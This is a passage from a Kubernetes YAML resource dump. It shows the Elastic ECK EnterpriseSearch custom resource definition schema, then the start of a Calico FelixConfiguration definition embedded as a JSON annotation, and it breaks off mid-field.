          specReplicasPath: .spec.count
          statusReplicasPath: .status.count
        status: {}
    - additionalPrinterColumns:
      - jsonPath: .status.health
        name: health
        type: string
      - description: Available nodes
        jsonPath: .status.availableNodes
        name: nodes
        type: integer
      - description: Enterprise Search version
        jsonPath: .status.version
        name: version
        type: string
      - jsonPath: .metadata.creationTimestamp
        name: age
        type: date
      name: v1beta1
      schema:
        openAPIV3Schema:
          description: EnterpriseSearch is a Kubernetes CRD to represent Enterprise
            Search.
          properties:
            apiVersion:
              description: |-
                APIVersion defines the versioned schema of this representation of an object.
                Servers should convert recognized schemas to the latest internal value, and
                may reject unrecognized values.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources
              type: string
            kind:
              description: |-
                Kind is a string value representing the REST resource this object represents.
                Servers may infer this from the endpoint the client submits requests to.
                Cannot be updated.
                In CamelCase.
                More info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds
              type: string
            metadata:
              type: object
            spec:
              description: EnterpriseSearchSpec holds the specification of an Enterprise
                Search resource.
              properties:
                config:
                  description: Config holds the Enterprise Search configuration.
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                configRef:
                  description: |-
                    ConfigRef contains a reference to an existing Kubernetes Secret holding the Enterprise Search configuration.
                    Configuration settings are merged and have precedence over settings specified in `config`.
                  properties:
                    secretName:
                      description: SecretName is the name of the secret.
                      type: string
                  type: object
                count:
                  description: Count of Enterprise Search instances to deploy.
                  format: int32
                  type: integer
                elasticsearchRef:
                  description: ElasticsearchRef is a reference to the Elasticsearch
                    cluster running in the same Kubernetes cluster.
                  properties:
                    name:
                      description: Name of an existing Kubernetes object corresponding
                        to an Elastic resource managed by ECK.
                      type: string
                    namespace:
                      description: Namespace of the Kubernetes object. If empty, defaults
                        to the current namespace.
                      type: string
                    secretName:
                      description: |-
                        SecretName is the name of an existing Kubernetes secret that contains connection information for associating an
                        Elastic resource not managed by the operator. The referenced secret must contain the following:
                        - `url`: the URL to reach the Elastic resource
                        - `username`: the username of the user to be authenticated to the Elastic resource
                        - `password`: the password of the user to be authenticated to the Elastic resource
                        - `ca.crt`: the CA certificate in PEM format (optional)
                        - `api-key`: the key to authenticate against the Elastic resource instead of a username and password (supported only for `elasticsearchRefs` in AgentSpec and in BeatSpec)
                        This field cannot be used in combination with the other fields name, namespace or serviceName.
                      type: string
                    serviceName:
                      description: |-
                        ServiceName is the name of an existing Kubernetes service which is used to make requests to the referenced
                        object. It has to be in the same namespace as the referenced resource. If left empty, the default HTTP service of
                        the referenced resource is used.
                      type: string
                  type: object
                http:
                  description: HTTP holds the HTTP layer configuration for Enterprise
                    Search resource.
                  properties:
                    service:
                      description: Service defines the template for the associated
                        Kubernetes Service object.
                      properties:
                        metadata:
                          description: |-
                            ObjectMeta is the metadata of the service.
                            The name and namespace provided here are managed by ECK and will be ignored.
                          properties:
                            annotations:
                              additionalProperties:
                                type: string
                              type: object
                            finalizers:
                              items:
                                type: string
                              type: array
                            labels:
                              additionalProperties:
                                type: string
                              type: object
                            name:
                              type: string
                            namespace:
                              type: string
                          type: object
                        spec:
                          description: Spec is the specification of the service.
                          properties:
                            allocateLoadBalancerNodePorts:
                              description: |-
                                allocateLoadBalancerNodePorts defines if NodePorts will be automatically
                                allocated for services with type LoadBalancer.  Default is "true". It
                                may be set to "false" if the cluster load-balancer does not rely on
                                NodePorts.  If the caller requests specific NodePorts (by specifying a
                                value), those requests will be respected, regardless of this field.
                                This field may only be set for services with type LoadBalancer and will
                                be cleared if the type is changed to any other type.
                              type: boolean
                            clusterIP:
                              description: |-
                                clusterIP is the IP address of the service and is usually assigned
                                randomly. If an address is specified manually, is in-range (as per
                                system configuration), and is not in use, it will be allocated to the
                                service; otherwise creation of the service will fail. This field may not
                                be changed through updates unless the type field is also being changed
                                to ExternalName (which requires this field to be blank) or the type
                                field is being changed from ExternalName (in which case this field may
                                optionally be specified, as describe above).  Valid values are "None",
                                empty string (""), or a valid IP address. Setting this to "None" makes a
                                "headless service" (no virtual IP), which is useful when direct endpoint
                                connections are preferred and proxying is not required.  Only applies to
                                types ClusterIP, NodePort, and LoadBalancer. If this field is specified
                                when creating a Service of type ExternalName, creation will fail. This
                                field will be wiped when updating a Service to type ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            clusterIPs:
                              description: |-
                                ClusterIPs is a list of IP addresses assigned to this service, and are
                                usually assigned randomly.  If an address is specified manually, is
                                in-range (as per system configuration), and is not in use, it will be
                                allocated to the service; otherwise creation of the service will fail.
                                This field may not be changed through updates unless the type field is
                                also being changed to ExternalName (which requires this field to be
                                empty) or the type field is being changed from ExternalName (in which
                                case this field may optionally be specified, as describe above).  Valid
                                values are "None", empty string (""), or a valid IP address.  Setting
                                this to "None" makes a "headless service" (no virtual IP), which is
                                useful when direct endpoint connections are preferred and proxying is
                                not required.  Only applies to types ClusterIP, NodePort, and
                                LoadBalancer. If this field is specified when creating a Service of type
                                ExternalName, creation will fail. This field will be wiped when updating
                                a Service to type ExternalName.  If this field is not specified, it will
                                be initialized from the clusterIP field.  If this field is specified,
                                clients must ensure that clusterIPs[0] and clusterIP have the same
                                value.


                                This field may hold a maximum of two entries (dual-stack IPs, in either order).
                                These IPs must correspond to the values of the ipFamilies field. Both
                                clusterIPs and ipFamilies are governed by the ipFamilyPolicy field.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalIPs:
                              description: |-
                                externalIPs is a list of IP addresses for which nodes in the cluster
                                will also accept traffic for this service.  These IPs are not managed by
                                Kubernetes.  The user is responsible for ensuring that traffic arrives
                                at a node with this IP.  A common example is external load-balancers
                                that are not part of the Kubernetes system.
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            externalName:
                              description: |-
                                externalName is the external reference that discovery mechanisms will
                                return as an alias for this service (e.g. a DNS CNAME record). No
                                proxying will be involved.  Must be a lowercase RFC-1123 hostname
                                (https://tools.ietf.org/html/rfc1123) and requires `type` to be "ExternalName".
                              type: string
                            externalTrafficPolicy:
                              description: |-
                                externalTrafficPolicy describes how nodes distribute service traffic they
                                receive on one of the Service's "externally-facing" addresses (NodePorts,
                                ExternalIPs, and LoadBalancer IPs). If set to "Local", the proxy will configure
                                the service in a way that assumes that external load balancers will take care
                                of balancing the service traffic between nodes, and so each node will deliver
                                traffic only to the node-local endpoints of the service, without masquerading
                                the client source IP. (Traffic mistakenly sent to a node with no endpoints will
                                be dropped.) The default value, "Cluster", uses the standard behavior of
                                routing to all endpoints evenly (possibly modified by topology and other
                                features). Note that traffic sent to an External IP or LoadBalancer IP from
                                within the cluster will always get "Cluster" semantics, but clients sending to
                                a NodePort from within the cluster may need to take traffic policy into account
                                when picking a node.
                              type: string
                            healthCheckNodePort:
                              description: |-
                                healthCheckNodePort specifies the healthcheck nodePort for the service.
                                This only applies when type is set to LoadBalancer and
                                externalTrafficPolicy is set to Local. If a value is specified, is
                                in-range, and is not in use, it will be used.  If not specified, a value
                                will be automatically allocated.  External systems (e.g. load-balancers)
                                can use this port to determine if a given node holds endpoints for this
                                service or not.  If this field is specified when creating a Service
                                which does not need it, creation will fail. This field will be wiped
                                when updating a Service to no longer need it (e.g. changing type).
                                This field cannot be updated once set.
                              format: int32
                              type: integer
                            internalTrafficPolicy:
                              description: |-
                                InternalTrafficPolicy describes how nodes distribute service traffic they
                                receive on the ClusterIP. If set to "Local", the proxy will assume that pods
                                only want to talk to endpoints of the service on the same node as the pod,
                                dropping the traffic if there are no local endpoints. The default value,
                                "Cluster", uses the standard behavior of routing to all endpoints evenly
                                (possibly modified by topology and other features).
                              type: string
                            ipFamilies:
                              description: |-
                                IPFamilies is a list of IP families (e.g. IPv4, IPv6) assigned to this
                                service. This field is usually assigned automatically based on cluster
                                configuration and the ipFamilyPolicy field. If this field is specified
                                manually, the requested family is available in the cluster,
                                and ipFamilyPolicy allows it, it will be used; otherwise creation of
                                the service will fail. This field is conditionally mutable: it allows
                                for adding or removing a secondary IP family, but it does not allow
                                changing the primary IP family of the Service. Valid values are "IPv4"
                                and "IPv6".  This field only applies to Services of types ClusterIP,
                                NodePort, and LoadBalancer, and does apply to "headless" services.
                                This field will be wiped when updating a Service to type ExternalName.


                                This field may hold a maximum of two entries (dual-stack families, in
                                either order).  These families must correspond to the values of the
                                clusterIPs field, if specified. Both clusterIPs and ipFamilies are
                                governed by the ipFamilyPolicy field.
                              items:
                                description: |-
                                  IPFamily represents the IP Family (IPv4 or IPv6). This type is used
                                  to express the family of an IP expressed by a type (e.g. service.spec.ipFamilies).
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ipFamilyPolicy:
                              description: |-
                                IPFamilyPolicy represents the dual-stack-ness requested or required by
                                this Service. If there is no value provided, then this field will be set
                                to SingleStack. Services can be "SingleStack" (a single IP family),
                                "PreferDualStack" (two IP families on dual-stack configured clusters or
                                a single IP family on single-stack clusters), or "RequireDualStack"
                                (two IP families on dual-stack configured clusters, otherwise fail). The
                                ipFamilies and clusterIPs fields depend on the value of this field. This
                                field will be wiped when updating a service to type ExternalName.
                              type: string
                            loadBalancerClass:
                              description: |-
                                loadBalancerClass is the class of the load balancer implementation this Service belongs to.
                                If specified, the value of this field must be a label-style identifier, with an optional prefix,
                                e.g. "internal-vip" or "example.com/internal-vip". Unprefixed names are reserved for end-users.
                                This field can only be set when the Service type is 'LoadBalancer'. If not set, the default load
                                balancer implementation is used, today this is typically done through the cloud provider integration,
                                but should apply for any default implementation. If set, it is assumed that a load balancer
                                implementation is watching for Services with a matching class. Any default load balancer
                                implementation (e.g. cloud providers) should ignore Services that set this field.
                                This field can only be set when creating or updating a Service to type 'LoadBalancer'.
                                Once set, it can not be changed. This field will be wiped when a service is updated to a non 'LoadBalancer' type.
                              type: string
                            loadBalancerIP:
                              description: |-
                                Only applies to Service Type: LoadBalancer.
                                This feature depends on whether the underlying cloud-provider supports specifying
                                the loadBalancerIP when a load balancer is created.
                                This field will be ignored if the cloud-provider does not support the feature.
                                Deprecated: This field was under-specified and its meaning varies across implementations.
                                Using it is non-portable and it may not support dual-stack.
                                Users are encouraged to use implementation-specific annotations when available.
                              type: string
                            loadBalancerSourceRanges:
                              description: |-
                                If specified and supported by the platform, this will restrict traffic through the cloud-provider
                                load-balancer will be restricted to the specified client IPs. This field will be ignored if the
                                cloud-provider does not support the feature."
                                More info: https://kubernetes.io/docs/tasks/access-application-cluster/create-external-load-balancer/
                              items:
                                type: string
                              type: array
                              x-kubernetes-list-type: atomic
                            ports:
                              description: |-
                                The list of ports that are exposed by this service.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              items:
                                description: ServicePort contains information on service's
                                  port.
                                properties:
                                  appProtocol:
                                    description: |-
                                      The application protocol for this port.
                                      This is used as a hint for implementations to offer richer behavior for protocols that they understand.
                                      This field follows standard Kubernetes label syntax.
                                      Valid values are either:


                                      * Un-prefixed protocol names - reserved for IANA standard service names (as per
                                      RFC-6335 and https://www.iana.org/assignments/service-names).


                                      * Kubernetes-defined prefixed names:
                                        * 'kubernetes.io/h2c' - HTTP/2 prior knowledge over cleartext as described in https://www.rfc-editor.org/rfc/rfc9113.html#name-starting-http-2-with-prior-
                                        * 'kubernetes.io/ws'  - WebSocket over cleartext as described in https://www.rfc-editor.org/rfc/rfc6455
                                        * 'kubernetes.io/wss' - WebSocket over TLS as described in https://www.rfc-editor.org/rfc/rfc6455


                                      * Other protocols should use implementation-defined prefixed names such as
                                      mycompany.com/my-custom-protocol.
                                    type: string
                                  name:
                                    description: |-
                                      The name of this port within the service. This must be a DNS_LABEL.
                                      All ports within a ServiceSpec must have unique names. When considering
                                      the endpoints for a Service, this must match the 'name' field in the
                                      EndpointPort.
                                      Optional if only one ServicePort is defined on this service.
                                    type: string
                                  nodePort:
                                    description: |-
                                      The port on each node on which this service is exposed when type is
                                      NodePort or LoadBalancer.  Usually assigned by the system. If a value is
                                      specified, in-range, and not in use it will be used, otherwise the
                                      operation will fail.  If not specified, a port will be allocated if this
                                      Service requires one.  If this field is specified when creating a
                                      Service which does not need it, creation will fail. This field will be
                                      wiped when updating a Service to no longer need it (e.g. changing type
                                      from NodePort to ClusterIP).
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#type-nodeport
                                    format: int32
                                    type: integer
                                  port:
                                    description: The port that will be exposed by
                                      this service.
                                    format: int32
                                    type: integer
                                  protocol:
                                    default: TCP
                                    description: |-
                                      The IP protocol for this port. Supports "TCP", "UDP", and "SCTP".
                                      Default is TCP.
                                    type: string
                                  targetPort:
                                    anyOf:
                                    - type: integer
                                    - type: string
                                    description: |-
                                      Number or name of the port to access on the pods targeted by the service.
                                      Number must be in the range 1 to 65535. Name must be an IANA_SVC_NAME.
                                      If this is a string, it will be looked up as a named port in the
                                      target Pod's container ports. If this is not specified, the value
                                      of the 'port' field is used (an identity map).
                                      This field is ignored for services with clusterIP=None, and should be
                                      omitted or set equal to the 'port' field.
                                      More info: https://kubernetes.io/docs/concepts/services-networking/service/#defining-a-service
                                    x-kubernetes-int-or-string: true
                                required:
                                - port
                                type: object
                              type: array
                              x-kubernetes-list-map-keys:
                              - port
                              - protocol
                              x-kubernetes-list-type: map
                            publishNotReadyAddresses:
                              description: |-
                                publishNotReadyAddresses indicates that any agent which deals with endpoints for this
                                Service should disregard any indications of ready/not-ready.
                                The primary use case for setting this field is for a StatefulSet's Headless Service to
                                propagate SRV DNS records for its Pods for the purpose of peer discovery.
                                The Kubernetes controllers that generate Endpoints and EndpointSlice resources for
                                Services interpret this to mean that all endpoints are considered "ready" even if the
                                Pods themselves are not. Agents which consume only Kubernetes generated endpoints
                                through the Endpoints or EndpointSlice resources can safely assume this behavior.
                              type: boolean
                            selector:
                              additionalProperties:
                                type: string
                              description: |-
                                Route service traffic to pods with label keys and values matching this
                                selector. If empty or not present, the service is assumed to have an
                                external process managing its endpoints, which Kubernetes will not
                                modify. Only applies to types ClusterIP, NodePort, and LoadBalancer.
                                Ignored if type is ExternalName.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/
                              type: object
                              x-kubernetes-map-type: atomic
                            sessionAffinity:
                              description: |-
                                Supports "ClientIP" and "None". Used to maintain session affinity.
                                Enable client IP based session affinity.
                                Must be ClientIP or None.
                                Defaults to None.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#virtual-ips-and-service-proxies
                              type: string
                            sessionAffinityConfig:
                              description: sessionAffinityConfig contains the configurations
                                of session affinity.
                              properties:
                                clientIP:
                                  description: clientIP contains the configurations
                                    of Client IP based session affinity.
                                  properties:
                                    timeoutSeconds:
                                      description: |-
                                        timeoutSeconds specifies the seconds of ClientIP type session sticky time.
                                        The value must be >0 && <=86400(for 1 day) if ServiceAffinity == "ClientIP".
                                        Default value is 10800(for 3 hours).
                                      format: int32
                                      type: integer
                                  type: object
                              type: object
                            trafficDistribution:
                              description: |-
                                TrafficDistribution offers a way to express preferences for how traffic is
                                distributed to Service endpoints. Implementations can use this field as a
                                hint, but are not required to guarantee strict adherence. If the field is
                                not set, the implementation will apply its default routing strategy. If set
                                to "PreferClose", implementations should prioritize endpoints that are
                                topologically close (e.g., same zone).
                                This is an alpha field and requires enabling ServiceTrafficDistribution feature.
                              type: string
                            type:
                              description: |-
                                type determines how the Service is exposed. Defaults to ClusterIP. Valid
                                options are ExternalName, ClusterIP, NodePort, and LoadBalancer.
                                "ClusterIP" allocates a cluster-internal IP address for load-balancing
                                to endpoints. Endpoints are determined by the selector or if that is not
                                specified, by manual construction of an Endpoints object or
                                EndpointSlice objects. If clusterIP is "None", no virtual IP is
                                allocated and the endpoints are published as a set of endpoints rather
                                than a virtual IP.
                                "NodePort" builds on ClusterIP and allocates a port on every node which
                                routes to the same endpoints as the clusterIP.
                                "LoadBalancer" builds on NodePort and creates an external load-balancer
                                (if supported in the current cloud) which routes to the same endpoints
                                as the clusterIP.
                                "ExternalName" aliases this service to the specified externalName.
                                Several other fields do not apply to ExternalName services.
                                More info: https://kubernetes.io/docs/concepts/services-networking/service/#publishing-services-service-types
                              type: string
                          type: object
                      type: object
                    tls:
                      description: TLS defines options for configuring TLS for HTTP.
                      properties:
                        certificate:
                          description: |-
                            Certificate is a reference to a Kubernetes secret that contains the certificate and private key for enabling TLS.
                            The referenced secret should contain the following:


                            - `ca.crt`: The certificate authority (optional).
                            - `tls.crt`: The certificate (or a chain).
                            - `tls.key`: The private key to the first certificate in the certificate chain.
                          properties:
                            secretName:
                              description: SecretName is the name of the secret.
                              type: string
                          type: object
                        selfSignedCertificate:
                          description: SelfSignedCertificate allows configuring the
                            self-signed certificate generated by the operator.
                          properties:
                            disabled:
                              description: Disabled indicates that the provisioning
                                of the self-signed certifcate should be disabled.
                              type: boolean
                            subjectAltNames:
                              description: SubjectAlternativeNames is a list of SANs
                                to include in the generated HTTP TLS certificate.
                              items:
                                description: SubjectAlternativeName represents a SAN
                                  entry in a x509 certificate.
                                properties:
                                  dns:
                                    description: DNS is the DNS name of the subject.
                                    type: string
                                  ip:
                                    description: IP is the IP address of the subject.
                                    type: string
                                type: object
                              type: array
                          type: object
                      type: object
                  type: object
                image:
                  description: Image is the Enterprise Search Docker image to deploy.
                  type: string
                podTemplate:
                  description: |-
                    PodTemplate provides customisation options (labels, annotations, affinity rules, resource requests, and so on)
                    for the Enterprise Search pods.
                  type: object
                  x-kubernetes-preserve-unknown-fields: true
                serviceAccountName:
                  description: |-
                    ServiceAccountName is used to check access from the current resource to a resource (for ex. Elasticsearch) in a different namespace.
                    Can only be used if ECK is enforcing RBAC on references.
                  type: string
                version:
                  description: Version of Enterprise Search.
                  type: string
              type: object
            status:
              description: EnterpriseSearchStatus defines the observed state of EnterpriseSearch
              properties:
                associationStatus:
                  description: Association is the status of any auto-linking to Elasticsearch
                    clusters.
                  type: string
                availableNodes:
                  description: AvailableNodes is the number of available replicas
                    in the deployment.
                  format: int32
                  type: integer
                count:
                  description: Count corresponds to Scale.Status.Replicas, which is
                    the actual number of observed instances of the scaled object.
                  format: int32
                  type: integer
                health:
                  description: Health of the deployment.
                  type: string
                selector:
                  description: Selector is the label selector used to find all pods.
                  type: string
                service:
                  description: ExternalService is the name of the service associated
                    to the Enterprise Search Pods.
                  type: string
                version:
                  description: |-
                    Version of the stack resource currently running. During version upgrades, multiple versions may run
                    in parallel: this value specifies the lowest version currently running.
                  type: string
              type: object
          type: object
      served: true
      storage: false
      subresources:
        status: {}
  status:
    acceptedNames:
      categories:
      - elastic
      kind: EnterpriseSearch
      listKind: EnterpriseSearchList
      plural: enterprisesearches
      shortNames:
      - ent
      singular: enterprisesearch
    conditions:
    - lastTransitionTime: "2025-09-23T11:56:03Z"
      message: no conflicts found
      reason: NoConflicts
      status: "True"
      type: NamesAccepted
    - lastTransitionTime: "2025-09-23T11:56:03Z"
      message: the initial names have been accepted
      reason: InitialNamesAccepted
      status: "True"
      type: Established
    storedVersions:
    - v1
- apiVersion: apiextensions.k8s.io/v1
  kind: CustomResourceDefinition
  metadata:
    annotations:
      controller-gen.kubebuilder.io/version: v0.17.3
      kubectl.kubernetes.io/last-applied-configuration: |
        {"apiVersion":"apiextensions.k8s.io/v1","kind":"CustomResourceDefinition","metadata":{"annotations":{"controller-gen.kubebuilder.io/version":"v0.17.3"},"name":"felixconfigurations.crd.projectcalico.org"},"spec":{"group":"crd.projectcalico.org","names":{"kind":"FelixConfiguration","listKind":"FelixConfigurationList","plural":"felixconfigurations","singular":"felixconfiguration"},"preserveUnknownFields":false,"scope":"Cluster","versions":[{"name":"v1","schema":{"openAPIV3Schema":{"description":"Felix Configuration contains the configuration for Felix.","properties":{"apiVersion":{"description":"APIVersion defines the versioned schema of this representation of an object.\nServers should convert recognized schemas to the latest internal value, and\nmay reject unrecognized values.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#resources","type":"string"},"kind":{"description":"Kind is a string value representing the REST resource this object represents.\nServers may infer this from the endpoint the client submits requests to.\nCannot be updated.\nIn CamelCase.\nMore info: https://git.k8s.io/community/contributors/devel/sig-architecture/api-conventions.md#types-kinds","type":"string"},"metadata":{"type":"object"},"spec":{"description":"FelixConfigurationSpec contains the values of the Felix configuration.","properties":{"allowIPIPPacketsFromWorkloads":{"description":"AllowIPIPPacketsFromWorkloads controls whether Felix will add a rule to drop IPIP encapsulated traffic\nfrom workloads. [Default: false]","type":"boolean"},"allowVXLANPacketsFromWorkloads":{"description":"AllowVXLANPacketsFromWorkloads controls whether Felix will add a rule to drop VXLAN encapsulated traffic\nfrom workloads. [Default: false]","type":"boolean"},"awsSrcDstCheck":{"description":"AWSSrcDstCheck controls whether Felix will try to change the \"source/dest check\" setting on the EC2 instance\non which it is running. A value of \"Disable\" will try to disable the source/dest check. Disabling the check\nallows for sending workload traffic without encapsulation within the same AWS subnet.\n[Default: DoNothing]","enum":["DoNothing","Enable","Disable"],"type":"string"},"bpfCTLBLogFilter":{"description":"BPFCTLBLogFilter specifies, what is logged by connect time load balancer when BPFLogLevel is\ndebug. Currently has to be specified as 'all' when BPFLogFilters is set\nto see CTLB logs.\n[Default: unset - means logs are emitted when BPFLogLevel id debug and BPFLogFilters not set.]","type":"string"},"bpfConnectTimeLoadBalancing":{"description":"BPFConnectTimeLoadBalancing when in BPF mode, controls whether Felix installs the connect-time load\nbalancer. The connect-time load balancer is required for the host to be able to reach Kubernetes services\nand it improves the performance of pod-to-service connections.When set to TCP, connect time load balancing\nis available only for services with TCP ports. [Default: TCP]","enum":["TCP","Enabled","Disabled"],"type":"string"},"bpfConnectTimeLoadBalancingEnabled":{"description":"BPFConnectTimeLoadBalancingEnabled when in BPF mode, controls whether Felix installs the connection-time load\nbalancer.  The connect-time load balancer is required for the host to be able to reach Kubernetes services\nand it improves the performance of pod-to-service connections.  The only reason to disable it is for debugging\npurposes.\n\nDeprecated: Use BPFConnectTimeLoadBalancing [Default: true]","type":"boolean"},"bpfConntrackLogLevel":{"description":"BPFConntrackLogLevel controls the log level of the BPF conntrack cleanup program, which runs periodically\nto clean up expired BPF conntrack entries.\n[Default: Off].","enum":["Off","Debug"],"type":"string"},"bpfConntrackMode":{"description":"BPFConntrackCleanupMode controls how BPF conntrack entries are cleaned up.  `Auto` will use a BPF program if supported,\nfalling back to userspace if not.  `Userspace` will always use the userspace cleanup code.  `BPFProgram` will\nalways use the BPF program (failing if not supported).\n[Default: Auto]","enum":["Auto","Userspace","BPFProgram"],"type":"string"},"bpfConntrackTimeouts":{"description":"BPFConntrackTimers overrides the default values for the specified conntrack timer if\nset. Each value can be either a duration or `Auto` to pick the value from\na Linux conntrack timeout.\n\nConfigurable timers are: CreationGracePeriod, TCPSynSent,\nTCPEstablished, TCPFinsSeen, TCPResetSeen, UDPTimeout, GenericTimeout,\nICMPTimeout.\n\nUnset values are replaced by the default values with a warning log for\nincorrect values.","properties":{"creationGracePeriod":{"description":" CreationGracePeriod gives a generic grace period to new connection\n before they are considered for cleanup [Default: 10s].","pattern":"^(([0-9]*(\\.[0-9]*)?(ms|s|h|m|us)+)+|Auto)$","type":"string"},"genericTimeout":{"description":"GenericTimeout controls how long it takes before considering this\nentry for cleanup after the connection became idle. If set to 'Auto', the\nvalue from nf_conntrack_generic_timeout is used. If nil, Calico uses its\nown default value. [Default: 10m].","pattern":"^(([0-9]*(\\.[0-9]*)?(ms|s|h|m|us)+)+|Auto)$","type":"string"},"icmpTimeout":{"description":"ICMPTimeout controls how long it takes before considering this\nentry for cleanup after the connection became idle. If set to 'Auto', the\nvalue from nf_conntrack_icmp_timeout is used. If nil, Calico uses its\nown default value. [Default: 5s].","pattern":"^(([0-9]*(\\.[0-9]*)?(ms|s|h|m|us)+)+|Auto)$","type":"string"},"tcpEstablished":{"description":"TCPEstablished controls how long it takes before considering this entry for\ncleanup after the connection became idle. If set to 'Auto', the\nvalue from nf_conntrack_tcp_timeout_established is used. If nil, Calico uses\nits own default value. [Default: 1h].","pattern":"^(([0-9]*(\\.[0-9]*)?(ms|s|h|m|us)+)+|Auto)$","type":"string"},"tcpFinsSeen":{"description":"TCPFinsSeen controls how long it takes before considering this entry for\ncleanup after the connection was closed gracefully. If set to 'Auto', the\nvalue from nf_conntrack_tcp_timeout_time_wait is used. If nil, Calico uses\nits own default value. [Default: Auto].","pattern":"^(([0-9]*(\\.[0-9]*)?(ms|s|h|m|us)+)+|Auto)$","type":"string"},"tcpResetSeen":{"description":"TCPResetSeen controls how long it takes before considering this entry for\ncleanup after the connection was aborted. If nil, Calico uses its own\ndefault value. [Default: 40s].","pattern":"^(([0-9]*(\\.[0-9]*)?(ms|s|h|m|us)+)+|Auto)$","type":"string"},"tcpSynSent":{"description":"TCPSynSent controls how long it takes before considering this entry for\ncleanup after the last SYN without a response. If set to 'Auto', the\nvalue from nf_conntrack_tcp_timeout_syn_sent is used. If nil, Calico uses\nits own default value. [Default: 20s].","pattern":"^(([0-9]*(\\.[0-9]*)?(ms|s|h|m|us)+)+|Auto)$","type":"string"},"udpTimeout":{"description":"UDPTimeout controls how long it takes before considering this entry for\ncleanup after the connection became idle. If nil, Calico uses its own\ndefault value. [Default: 60s].","pattern":"^(([0-9]*(\\.[0-9]*)?(ms|s|h|m|us)+)+|Auto)$","type":"string"}},"type":"object"},"bpfDSROptoutCIDRs":{"description":"BPFDSROptoutCIDRs is a list of CIDRs which are excluded from DSR. That is, clients\nin those CIDRs will access service node ports as if BPFExternalServiceMode was set to\nTunnel.","items":{"type":"string"},"type":"array"},"bpfDataIfacePattern":{"description":"BPFDataIfacePattern is a regular expression that controls which interfaces Felix should attach BPF programs to\nin order to catch traffic to/from the network.  This needs to match the interfaces that Calico workload traffic\nflows over as well as any interfaces that handle incoming traffic to nodeports and services from outside the\ncluster.  It should not match the workload interfaces (usually named cali...) or any other special device managed\nby Calico itself (e.g., tunnels).","type":"string"},"bpfDisableGROForIfaces":{"description":"BPFDisableGROForIfaces is a regular expression that controls which interfaces Felix should disable the\nGeneric Receive Offload [GRO] option.  It should not match the workload interfaces (usually named cali...).","type":"string"},"bpfDisableUnprivileged":{"description":"BPFDisableUnprivileged, if enabled, Felix sets the kernel.unprivileged_bpf_disabled sysctl to disable\nunprivileged use of BPF.  This ensures that unprivileged users cannot access Calico's BPF maps and\ncannot insert their own BPF programs to interfere with Calico's. [Default: true]","type":"boolean"},"bpfEnabled":{"description":"BPFEnabled, if enabled Felix will use the BPF dataplane. [Default: false]","type":"boolean"},"bpfEnforceRPF":{"description":"BPFEnforceRPF enforce strict RPF on all host interfaces with BPF programs regardless of\nwhat is the per-interfaces or global setting. Possible values are Disabled, Strict\nor Loose. [Default: Loose]","pattern":"^(?i)(Disabled|Strict|Loose)?$","type":"string"},"bpfExcludeCIDRsFromNAT":{"description":"BPFExcludeCIDRsFromNAT is a list of CIDRs that are to be excluded from NAT\nresolution so that host can handle them. A typical usecase is node local\nDNS cache.","items":{"type":"string"},"type":"array"},"bpfExportBufferSizeMB":{"description":"BPFExportBufferSizeMB in BPF mode, controls the buffer size used for sending BPF events to felix.\n[Default: 1]","type":"integer"},"bpfExtToServiceConnmark":{"description":"BPFExtToServiceConnmark in BPF mode, controls a 32bit mark that is set on connections from an\nexternal client to a local service. This mark allows us to control how packets of that\nconnection are routed within the host and how is routing interpreted by RPF check. [Default: 0]","type":"integer"},"bpfExternalServiceMode":{"description":"BPFExternalServiceMode in BPF mode, controls how connections from outside the cluster to services (node ports\nand cluster IPs) are forwarded to remote workloads.  If set to \"Tunnel\" then both request and response traffic\nis tunneled to the remote node.  If set to \"DSR\", the request traffic is tunneled but the response traffic\nis sent directly from the remote node.  In \"DSR\" mode, the remote node appears to use the IP of the ingress\nnode; this requires a permissive L2 network.  [Default: Tunnel]","pattern":"^(?i)(Tunnel|DSR)?$","type":"string"},"bpfForceTrackPacketsFromIfaces":{"description":"BPFForceTrackPacketsFromIfaces in BPF mode, forces traffic from these interfaces\nto skip Calico's iptables NOTRACK rule, allowing traffic from those interfaces to be\ntracked by Linux conntrack.  Should only be used for interfaces that are not used for\nthe Calico fabric.  For example, a docker bridge device for non-Calico-networked\ncontainers. [Default: docker+]","items":{"type":"string"},"type":"array"},"bpfHostConntrackBypass":{"description":"BPFHostConntrackBypass Controls whether to bypass Linux conntrack in BPF mode for\nworkloads and services. [Default: true - bypass Linux conntrack]","type":"boolean"},"bpfHostNetworkedNATWithoutCTLB":{"description":"BPFHostNetworkedNATWithoutCTLB when in BPF mode, controls whether Felix does a NAT without CTLB. This along with BPFConnectTimeLoadBalancing\ndetermines the CTLB behavior. [Default: Enabled]","enum":["Enabled","Disabled"],"type":"string"},"bpfKubeProxyEndpointSlicesEnabled":{"description":"BPFKubeProxyEndpointSlicesEnabled is deprecated and has no effect. BPF\nkube-proxy always accepts endpoint slices. This option will be removed in\nthe next release.","type":"boolean"},"bpfKubeProxyHealtzPort":{"description":"BPFKubeProxyHealtzPort, in BPF mode, controls the port that Felix's embedded kube-proxy health check server binds to.\nThe health check server is used by external load balancers to determine if this node should receive traffic.  [Default: 10256]","type":"integer"},"bpfKubeProxyIptablesCleanupEnabled":{"description":"BPFKubeProxyIptablesCleanupEnabled, if enabled in BPF mode, Felix will proactively clean up the upstream\nKubernetes kube-proxy's iptables chains.  Should only be enabled if kube-proxy is not running.  [Default: true]","type":"boolean"},"bpfKubeProxyMinSyncPeriod":{"description":"BPFKubeProxyMinSyncPeriod, in BPF mode, controls the minimum time between updates to the dataplane for Felix's\nembedded kube-proxy.  Lower values give reduced set-up latency.  Higher values reduce Felix CPU usage by\nbatching up more work.  [Default: 